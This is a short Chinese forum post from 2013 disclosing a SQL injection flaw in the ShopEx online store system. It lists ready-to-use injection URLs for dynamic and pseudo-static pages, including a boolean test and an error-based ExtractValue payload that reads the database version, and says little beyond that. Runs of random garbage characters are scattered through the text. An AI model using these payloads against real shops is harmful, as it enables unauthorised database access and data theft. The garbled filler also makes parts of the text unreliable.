注入漏洞是一种经典的漏洞类型了，自从上次跟基友深聊了注入，我对注入的认识又提升了一个高度，在我看来不可以注入的地方，TMD的竟然可以注入，注入攻击最早出现了1998年，貌似是，记不清了。10多年了，依然存在，虽然比以前出现量少了，但不得不用到的一种攻击技术…
3 {" h0 D* V+ u9 P/ G @1 J, c" D, D6 Q6 F* C4 C& Q; j
好吧，我扯远了~~
1 N% p2 C9 Z+ ]1 Y% F其实注入不仅仅出现在动态页面上，难道伪静态后就不能注入了吗？NO~
, w8 T2 G5 L, P+ `# u- }, t, o不扯了，直接说主题吧，shopex网店系统注入漏洞。注入点如下：
7 v* n- ], z7 {2 v, L- l9 @
' [* J1 z$ a, x: f5 mhttp://www.x.cn/index.php?comment-822′/**/and/**/’1′=’1-ask-commentlist.html
' S& e* g% k" i3 o3 ^7 L( Q. G- Y E2 c9 a
http://www.x.com/comment-8967′/**/and/**/ExtractValue(0×64,concat(0×01,(select/**/@@version)))/**/order/**/by/**/’1-ask-commentlist.html ; `& ^( N1 b' [# R' z, ~) V
( U* X) e8 @$ I+ \) a$ J: \
http://www.x.cn/index.php?comment-822′/**/and/**/’1′=’1-ask-commentlist.html 8 F( b/ f8 y% ~+ g. n- Q( K l
d3 q: \; a; o: |1 f; x7 Dhttp://demo.x.com.cn/485/index.php?comment-190′/**/and/**/’1′=’1-ask-commentlist.html 7 d/ F Z" c I/ g
2 G) U5 U0 m: Q5 Z. x( k1 j
$ P5 f: ?+ J, r6 Q* i% O
一个是网站未开启伪静态的注入，一个是网站开启伪静态后的注入，以及是否屏蔽错误回显的2X2=4种情况。 U* P+ ]# R* O( K" A1 S
如何注入就不多说了，10多年的东西了…不会也会了… 0 [! W/ k- h( |* f- P# ~, y
* W* H! }8 g N
9 o( A' a5 y( _8 z# i; w9 N& i) x' [
' L. L6 l: ] y$ C, B |
发表于 2013-2-19 08:31:27
收藏
支持
反对